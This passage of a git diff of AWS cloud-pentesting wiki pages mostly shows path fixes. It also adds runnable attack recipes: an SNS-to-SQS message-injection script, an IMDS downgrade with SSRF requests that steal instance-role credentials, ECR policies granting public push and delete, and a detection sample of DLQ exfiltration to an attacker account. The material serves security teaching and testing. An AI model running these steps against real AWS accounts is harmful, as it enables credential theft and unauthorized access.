|
||||
|
||||
## Detection and Prevention
|
||||
|
||||
### Detection
|
||||
Monitor CloudTrail for suspicious `StartMessageMoveTask` API calls:
|
||||
```json
|
||||
{
|
||||
"eventName": "StartMessageMoveTask",
|
||||
"sourceIPAddress": "suspicious-ip",
|
||||
"userIdentity": {
|
||||
"type": "IAMUser",
|
||||
"userName": "compromised-user"
|
||||
},
|
||||
"requestParameters": {
|
||||
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
|
||||
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Prevention
|
||||
1. **Least Privilege**: Restrict `sqs:StartMessageMoveTask` permissions to only necessary roles
|
||||
2. **Monitor DLQs**: Set up CloudWatch alarms for unusual DLQ activity
|
||||
3. **Cross-Account Policies**: Carefully review SQS queue policies allowing cross-account access
|
||||
4. **Encrypt DLQs**: Use SSE-KMS with restricted key policies
|
||||
5. **Regular Cleanup**: Don't let sensitive data accumulate in DLQs indefinitely
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,56 @@
|
||||
# AWS – SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Description
|
||||
|
||||
Abuse an SQS queue resource policy to allow an attacker-controlled SNS topic to publish messages into a victim SQS queue. In the same account, an SQS subscription to an SNS topic auto-confirms; in cross-account, you must read the SubscriptionConfirmation token from the queue and call ConfirmSubscription. This enables unsolicited message injection that downstream consumers may implicitly trust.
|
||||
|
||||
### Requirements
|
||||
- Ability to modify the target SQS queue resource policy: `sqs:SetQueueAttributes` on the victim queue.
|
||||
- Ability to create/publish to an SNS topic under attacker control: `sns:CreateTopic`, `sns:Publish`, and `sns:Subscribe` on the attacker account/topic.
|
||||
- Cross-account only: temporary `sqs:ReceiveMessage` on the victim queue to read the confirmation token and call `sns:ConfirmSubscription`.
|
||||
|
||||
### Same-account exploitation
|
||||
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# 1) Create victim queue and capture URL/ARN
|
||||
Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text)
|
||||
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
# 2) Create attacker SNS topic
|
||||
TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text)
|
||||
|
||||
# 3) Allow that SNS topic to publish to the queue (queue resource policy)
|
||||
cat > /tmp/ht-sqs-sns-policy.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSTopicPublish","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"SQS:SendMessage","Resource":"REPLACE_QUEUE_ARN","Condition":{"StringEquals":{"aws:SourceArn":"REPLACE_TOPIC_ARN"}}}]}
|
||||
JSON
|
||||
sed -i.bak "s#REPLACE_QUEUE_ARN#$Q_ARN#g; s#REPLACE_TOPIC_ARN#$TOPIC_ARN#g" /tmp/ht-sqs-sns-policy.json
|
||||
# Provide the attribute as a JSON map so quoting works reliably
|
||||
cat > /tmp/ht-attrs.json <<JSON
|
||||
{
|
||||
"Policy": "REPLACE_POLICY_JSON"
|
||||
}
|
||||
JSON
|
||||
# Embed the policy file contents as a JSON string
|
||||
POL_ESC=$(jq -Rs . /tmp/ht-sqs-sns-policy.json)
|
||||
sed -i.bak "s#\"REPLACE_POLICY_JSON\"#$POL_ESC#g" /tmp/ht-attrs.json
|
||||
aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes file:///tmp/ht-attrs.json
|
||||
|
||||
# 4) Subscribe the queue to the topic (auto-confirms same-account)
|
||||
aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --region $REGION
|
||||
|
||||
# 5) Publish and verify injection
|
||||
aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGION
|
||||
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All
|
||||
```
|
||||
|
||||
### Cross-account notes
|
||||
- The queue policy above must allow the foreign `TOPIC_ARN` (attacker account).
|
||||
- Subscriptions won’t auto-confirm. Grant yourself temporary `sqs:ReceiveMessage` on the victim queue to read the `SubscriptionConfirmation` message and then call `sns confirm-subscription` with its `Token`.
|
||||
|
||||
### Impact
|
||||
**Potential Impact**: Continuous unsolicited message injection into a trusted SQS queue via SNS, potentially triggering unintended processing, data pollution, or workflow abuse.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - SSO & identitystore Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SSO & identitystore
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
../../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment`
|
||||
@@ -22,7 +22,7 @@ aws sso-admin put-permissions-boundary-to-permission-set --instance-arn <SSOInst
|
||||
aws sso-admin delete-account-assignment --instance-arn <SSOInstanceARN> --target-id <TargetID> --target-type <TargetType> --permission-set-arn <PermissionSetARN> --principal-type <PrincipalType> --principal-id <PrincipalID>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - Step Functions Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Step Functions
|
||||
|
||||
For more information about this AWS service, check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-stepfunctions-enum.md
|
||||
../../aws-services/aws-stepfunctions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `states:RevealSecrets`
|
||||
@@ -198,7 +198,7 @@ The attacker can even more stealthy to update the state definition to something
|
||||
- Enables long-term persistence if backdoor remains in code or ASL logic.
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - STS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## STS
|
||||
|
||||
For more information:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
../../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### From IAM Creds to Console
|
||||
@@ -112,7 +112,7 @@ The token returned by sts:GetFederationToken belongs to the federated identity o
|
||||
|
||||
Additionally, this method is somewhat more stealthy, since the federated user does not appear in the AWS Portal, it can only be observed through CloudTrail logs or monitoring tools.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,17 +0,0 @@
|
||||
# AWS - VPN Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## VPN
|
||||
|
||||
For more information:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,17 @@
|
||||
# AWS - VPN Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## VPN
|
||||
|
||||
For more information:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - Apigateway Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Apigateway
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-api-gateway-enum.md
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `apigateway:POST`
|
||||
@@ -104,7 +104,7 @@ aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=
|
||||
|
||||
**Potential Impact**: Unauthorized access to private API resources, interception or disruption of API traffic.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# AWS - AppRunner Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## AppRunner
|
||||
|
||||
@@ -77,4 +77,4 @@ curl 'https://<service-url>/?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER
|
||||
|
||||
**Potential Impact:** Direct privilege escalation to any IAM role that can be attached to AppRunner services.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,13 +0,0 @@
|
||||
# AWS - Chime Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### chime:CreateApiKey
|
||||
|
||||
TODO
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,13 @@
|
||||
# AWS - Chime Privesc
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
### chime:CreateApiKey
|
||||
|
||||
TODO
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - Codebuild Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## codebuild
|
||||
|
||||
Get more info in:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-codebuild-enum.md
|
||||
../../aws-services/aws-codebuild-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `codebuild:StartBuild` | `codebuild:StartBuildBatch`
|
||||
@@ -382,7 +382,7 @@ More details could be found [here](https://www.shielder.com/blog/2023/07/aws-cod
|
||||
|
||||
**Potential Impact:** Direct privesc to attached AWS Codebuild roles.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - Codepipeline Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## codepipeline
|
||||
|
||||
For more info about codepipeline check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
|
||||
../../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
|
||||
{{#endref}}
|
||||
|
||||
### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution`
|
||||
@@ -34,7 +34,7 @@ It might be possible to modify the role used and the command executed on a codep
|
||||
|
||||
> When this API is called, CodePipeline **returns temporary credentials for the S3 bucket** used to store artifacts for the pipeline, if the action requires access to that S3 bucket for input or output artifacts. This API also **returns any secret values defined for the action**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,20 +1,20 @@
|
||||
# AWS - Cognito Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cognito
|
||||
|
||||
For more info about Cognito check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cognito-enum/
|
||||
../../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Gathering credentials from Identity Pool
|
||||
|
||||
As Cognito can grant **IAM role credentials** to both **authenticated** an **unauthenticated** **users**, if you locate the **Identity Pool ID** of an application (should be hardcoded on it) you can obtain new credentials and therefore privesc (inside an AWS account where you probably didn't even have any credential previously).
|
||||
|
||||
For more information [**check this page**](../aws-unauthenticated-enum-access/index.html#cognito).
|
||||
For more information [**check this page**](../../aws-unauthenticated-enum-access/index.html#cognito).
|
||||
|
||||
**Potential Impact:** Direct privesc to the services role attached to unauth users (and probably to the one attached to auth users).
|
||||
|
||||
@@ -141,7 +141,7 @@ aws cognito-idp admin-enable-user \
|
||||
|
||||
### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**
|
||||
|
||||
This permission allows to login with the [**method ADMIN_USER_PASSWORD_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** For more information follow the link.
|
||||
This permission allows to login with the [**method ADMIN_USER_PASSWORD_AUTH**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** For more information follow the link.
|
||||
|
||||
### `cognito-idp:AdminSetUserPassword`
|
||||
|
||||
@@ -269,7 +269,7 @@ aws cognito-idp create-identity-provider \
|
||||
This is a very common permission by default in roles of Cognito Identity Pools. Even if a wildcard in a permissions always looks bad (specially coming from AWS), the **given permissions aren't super useful from an attackers perspective**.
|
||||
|
||||
This permission allows to read use information of Identity Pools and Identity IDs inside Identity Pools (which isn't sensitive info).\
|
||||
Identity IDs might have [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) assigned to them, which are information of the sessions (AWS define it like a **saved game**). It might be possible that this contain some kind of sensitive information (but the probability is pretty low). You can find in the [**enumeration page**](../aws-services/aws-cognito-enum/index.html) how to access this information.
|
||||
Identity IDs might have [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) assigned to them, which are information of the sessions (AWS define it like a **saved game**). It might be possible that this contain some kind of sensitive information (but the probability is pretty low). You can find in the [**enumeration page**](../../aws-services/aws-cognito-enum/index.html) how to access this information.
|
||||
|
||||
An attacker could also use these permissions to **enroll himself to a Cognito stream that publish changes** on these datases or a **lambda that triggers on cognito events**. I haven't seen this being used, and I wouldn't expect sensitive information here, but it isn't impossible.
|
||||
|
||||
@@ -311,7 +311,7 @@ $ cognito-scanner --help
|
||||
|
||||
For more information check [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - Datapipeline Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## datapipeline
|
||||
|
||||
For more info about datapipeline check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
|
||||
../../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
|
||||
{{#endref}}
|
||||
|
||||
### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline`
|
||||
@@ -71,7 +71,7 @@ The **pipeline definition file, crafted by the attacker, includes directives to
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - Directory Services Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Directory Services
|
||||
|
||||
For more info about directory services check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-directory-services-workdocs-enum.md
|
||||
../../aws-services/aws-directory-services-workdocs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `ds:ResetUserPassword`
|
||||
@@ -31,7 +31,7 @@ And then **grant them an AWS IAM role** for when they login, this way an AD user
|
||||
|
||||
There isn't apparently any way to enable the application access URL, the AWS Management Console and grant permission
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - DynamoDB Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## dynamodb
|
||||
|
||||
For more info about dynamodb check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
../../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `dynamodb:PutResourcePolicy`, and optionally `dynamodb:GetResourcePolicy`
|
||||
@@ -70,12 +70,12 @@ Now, you should have the permissions you needed.
|
||||
As far as I know there is **no other direct way to escalate privileges in AWS just by having some AWS `dynamodb` permissions**. You can **read sensitive** information from the tables (which could contain AWS credentials) and **write information on the tables** (which could trigger other vulnerabilities, like lambda code injections...) but all these options are already considered in the **DynamoDB Post Exploitation page**:
|
||||
|
||||
{{#ref}}
|
||||
../aws-post-exploitation/aws-dynamodb-post-exploitation.md
|
||||
../../aws-post-exploitation/aws-dynamodb-post-exploitation/README.md
|
||||
{{#endref}}
|
||||
|
||||
### TODO: Read data abusing data Streams
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# AWS - EBS Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EBS
|
||||
|
||||
@@ -9,7 +9,7 @@
|
||||
An attacker with those will be able to potentially **download and analyze volumes snapshots locally** and search for sensitive information in them (like secrets or source code). Find how to do this in:
|
||||
|
||||
{{#ref}}
|
||||
../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
|
||||
../../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
|
||||
{{#endref}}
|
||||
|
||||
Other permissions might be also useful such as: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags`
|
||||
@@ -24,7 +24,7 @@ Any AWS user possessing the **`EC2:CreateSnapshot`** permission can steal the ha
|
||||
|
||||
You can use this tool to automate the attack: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) or you could use one of the previous techniques after creating a snapshot.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - EC2 Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2
|
||||
|
||||
For more **info about EC2** check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
@@ -41,7 +41,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
Be careful with GuradDuty if you use the credentials of the IAM role outside of the instance:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
|
||||
../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
|
||||
{{#endref}}
|
||||
|
||||
**Potential Impact:** Direct privesc to a any EC2 role attached to existing instance profiles.
|
||||
@@ -68,7 +68,7 @@ echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >>
|
||||
To learn how to **force ECS services to be run** in this new EC2 instance check:
|
||||
|
||||
{{#ref}}
|
||||
aws-ecs-privesc.md
|
||||
../aws-ecs-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
If you **cannot create a new instance** but has the permission `ecs:RegisterContainerInstance` you might be able to register the instance inside the cluster and perform the commented attack.
|
||||
@@ -286,7 +286,45 @@ Assuming we find `aws_access_key_id` and `aws_secret_access_key`, we can use the
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
### `ec2:ModifyInstanceMetadataOptions` (IMDS downgrade to enable SSRF credential theft)
|
||||
|
||||
An attacker with the ability to call `ec2:ModifyInstanceMetadataOptions` on a victim EC2 instance can weaken IMDS protections by enabling IMDSv1 (`HttpTokens=optional`) and increasing the `HttpPutResponseHopLimit`. This makes the instance metadata endpoint reachable via common SSRF/proxy paths from applications running on the instance. If the attacker can trigger a SSRF in such an app, they can retrieve the instance profile credentials and pivot with them.
|
||||
|
||||
- Required permissions: `ec2:ModifyInstanceMetadataOptions` on the target instance (plus the ability to reach/trigger a SSRF on the host).
|
||||
- Target resource: The running EC2 instance with an attached instance profile (IAM role).
|
||||
|
||||
Commands example:
|
||||
|
||||
```bash
|
||||
# 1) Check current metadata settings
|
||||
aws ec2 describe-instances --instance-id <INSTANCE_ID> \
|
||||
--query 'Reservations[0].Instances[0].MetadataOptions'
|
||||
|
||||
# 2) Downgrade IMDS protections (enable IMDSv1 and raise hop limit)
|
||||
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
|
||||
--http-endpoint enabled --http-tokens optional \
|
||||
--http-put-response-hop-limit 3 --instance-metadata-tags enabled
|
||||
|
||||
# 3) Through the SSRF, enumerate role name
|
||||
curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
|
||||
|
||||
# 4) Through the SSRF, steal the temporary credentials
|
||||
curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>"
|
||||
|
||||
# 5) Use the stolen credentials
|
||||
export AWS_ACCESS_KEY_ID=<AccessKeyId>
|
||||
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
|
||||
export AWS_SESSION_TOKEN=<Token>
|
||||
aws sts get-caller-identity
|
||||
|
||||
# 6) Restore protections (require IMDSv2, low hop limit)
|
||||
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
|
||||
--http-tokens required --http-put-response-hop-limit 1
|
||||
```
|
||||
|
||||
Potential Impact: Theft of instance profile credentials via SSRF leading to privilege escalation and lateral movement with the EC2 role permissions.
|
||||
@@ -1,111 +0,0 @@
|
||||
# AWS - ECR Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage`
|
||||
|
||||
An attacker with the **`ecr:GetAuthorizationToken`** and **`ecr:BatchGetImage`** can login to ECR and download images.
|
||||
|
||||
For more info on how to download images:
|
||||
|
||||
{{#ref}}
|
||||
../aws-post-exploitation/aws-ecr-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
**Potential Impact:** Indirect privesc by intercepting sensitive information in the traffic.
|
||||
|
||||
### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`
|
||||
|
||||
An attacker with the all those permissions **can login to ECR and upload images**. This can be useful to escalate privileges to other environments where those images are being used.
|
||||
|
||||
To learn how to upload a new image/update one, check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-eks-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart`
|
||||
|
||||
Like the previous section, but for public repositories.
|
||||
|
||||
### `ecr:SetRepositoryPolicy`
|
||||
|
||||
An attacker with this permission could **change** the **repository** **policy** to grant himself (or even everyone) **read/write access**.\
|
||||
For example, in this example read access is given to everyone.
|
||||
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name <repo_name> \
|
||||
--policy-text file://my-policy.json
|
||||
```
|
||||
|
||||
Contents of `my-policy.json`:
|
||||
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "allow public pull",
|
||||
"Effect": "Allow",
|
||||
"Principal": "*",
|
||||
"Action": [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
### `ecr-public:SetRepositoryPolicy`
|
||||
|
||||
Like the previoous section, but for public repositories.\
|
||||
An attacker can **modify the repository policy** of an ECR Public repository to grant unauthorized public access or to escalate their privileges.
|
||||
|
||||
```bash
|
||||
# Create a JSON file with the malicious public repository policy
|
||||
echo '{
|
||||
"Version": "2008-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "MaliciousPublicRepoPolicy",
|
||||
"Effect": "Allow",
|
||||
"Principal": "*",
|
||||
"Action": [
|
||||
"ecr-public:GetDownloadUrlForLayer",
|
||||
"ecr-public:BatchGetImage",
|
||||
"ecr-public:BatchCheckLayerAvailability",
|
||||
"ecr-public:PutImage",
|
||||
"ecr-public:InitiateLayerUpload",
|
||||
"ecr-public:UploadLayerPart",
|
||||
"ecr-public:CompleteLayerUpload",
|
||||
"ecr-public:DeleteRepositoryPolicy"
|
||||
]
|
||||
}
|
||||
]
|
||||
}' > malicious_public_repo_policy.json
|
||||
|
||||
# Apply the malicious public repository policy to the ECR Public repository
|
||||
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
|
||||
```
|
||||
|
||||
**Potential Impact**: Unauthorized public access to the ECR Public repository, allowing any user to push, pull, or delete images.
|
||||
|
||||
### `ecr:PutRegistryPolicy`
|
||||
|
||||
An attacker with this permission could **change** the **registry policy** to grant himself, his account (or even everyone) **read/write access**.
|
||||
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name <repo_name> \
|
||||
--policy-text file://my-policy.json
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,283 @@
|
||||
# AWS - ECR Privesc
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage`
|
||||
|
||||
An attacker with the **`ecr:GetAuthorizationToken`** and **`ecr:BatchGetImage`** can login to ECR and download images.
|
||||
|
||||
For more info on how to download images:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-post-exploitation/aws-ecr-post-exploitation/README.md
|
||||
{{#endref}}
|
||||
|
||||
**Potential Impact:** Indirect privesc by intercepting sensitive information in the traffic.
|
||||
|
||||
### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`
|
||||
|
||||
An attacker with the all those permissions **can login to ECR and upload images**. This can be useful to escalate privileges to other environments where those images are being used.
|
||||
|
||||
To learn how to upload a new image/update one, check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-eks-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart`
|
||||
|
||||
Like the previous section, but for public repositories.
|
||||
|
||||
### `ecr:SetRepositoryPolicy`
|
||||
|
||||
